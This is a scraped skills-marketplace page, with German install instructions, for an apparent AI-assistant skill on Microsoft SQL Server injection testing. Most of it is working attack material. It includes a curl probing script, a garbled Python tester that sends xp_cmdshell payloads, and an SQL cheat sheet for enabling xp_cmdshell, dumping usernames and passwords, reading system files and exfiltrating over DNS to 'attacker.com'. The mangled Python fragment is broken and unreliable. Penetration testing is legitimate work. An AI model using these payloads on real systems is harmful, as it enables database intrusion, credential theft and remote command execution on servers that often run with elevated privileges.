Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Microsoft SQL Server-specific SQL injection testing leverages MSSQL's unique features including xp_cmdshell for OS command execution, OPENROWSET for data exfiltration, and specific error messages. MSSQL often runs with elevated privileges, making successful exploitation particularly dangerous.
What to Check
MSSQL error messages
xp_cmdshell availability
Stacked queries support
OPENROWSET data exfiltration
System table access
Linked servers
How to Test
Step 1: MSSQL Detection
#!/bin/bash
TARGET="https://target.com/product?id="echo"[*] Testing for Microsoft SQL Server..."# Error-based detection
curl -s "${TARGET}'" | grep -iE "SQL Server|ODBC|mssql|Incorrect syntax"# MSSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version--"# WAITFOR DELAY time-based
curl -s "${TARGET}1'; WAITFOR DELAY '0:0:5'--" --max-time 10
f" [INFO] xp_cmdshell payload sent - check DNS logs"
self
'type'
'MSSQL xp_cmdshell Test'
'payload'
'severity'
'Critical'
'note'
'Check DNS logs for callback'
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all MSSQL SQLi tests"""
if
self
self
self
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"MSSQL SQL INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo MSSQL SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
if
'payload'
in
print
f" Payload: {f['payload'][:70]}"
if
'note'
in
print
f" Note: {f['note']}"
# Usage
"https://target.com/product"
'id'
Step 3: MSSQL Data Extraction
-- MSSQL VersionSELECT @@versionSELECT SERVERPROPERTY('productversion')
-- Current UserSELECTSYSTEM_USERSELECT USER_NAME()
SELECTCURRENT_USER-- Current DatabaseSELECT DB_NAME()
-- List DatabasesSELECT name FROM master..sysdatabases
SELECT name FROM sys.databases
-- List TablesSELECT name FROM sysobjects WHERE xtype='U'SELECT table_name FROM information_schema.tables
-- List ColumnsSELECT column_name FROM information_schema.columns WHERE table_name='users'SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
-- Extract DataSELECT username +':'+ password FROM users
-- xp_cmdshell (Command Execution)EXEC master..xp_cmdshell 'whoami'EXEC master..xp_cmdshell 'net user'-- Enable xp_cmdshell if disabledEXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Read FilesCREATE TABLE #tmp (content NVARCHAR(4000));
BULK INSERT #tmp FROM'C:\Windows\System32\drivers\etc\hosts';
SELECT*FROM #tmp;
-- DNS ExfiltrationEXEC master..xp_dirtree '\\attacker.com\share'EXEC master..xp_fileexist '\\attacker.com\share'-- Linked ServersSELECT*FROM sys.servers
EXEC ('SELECT @@version') AT [LinkedServer]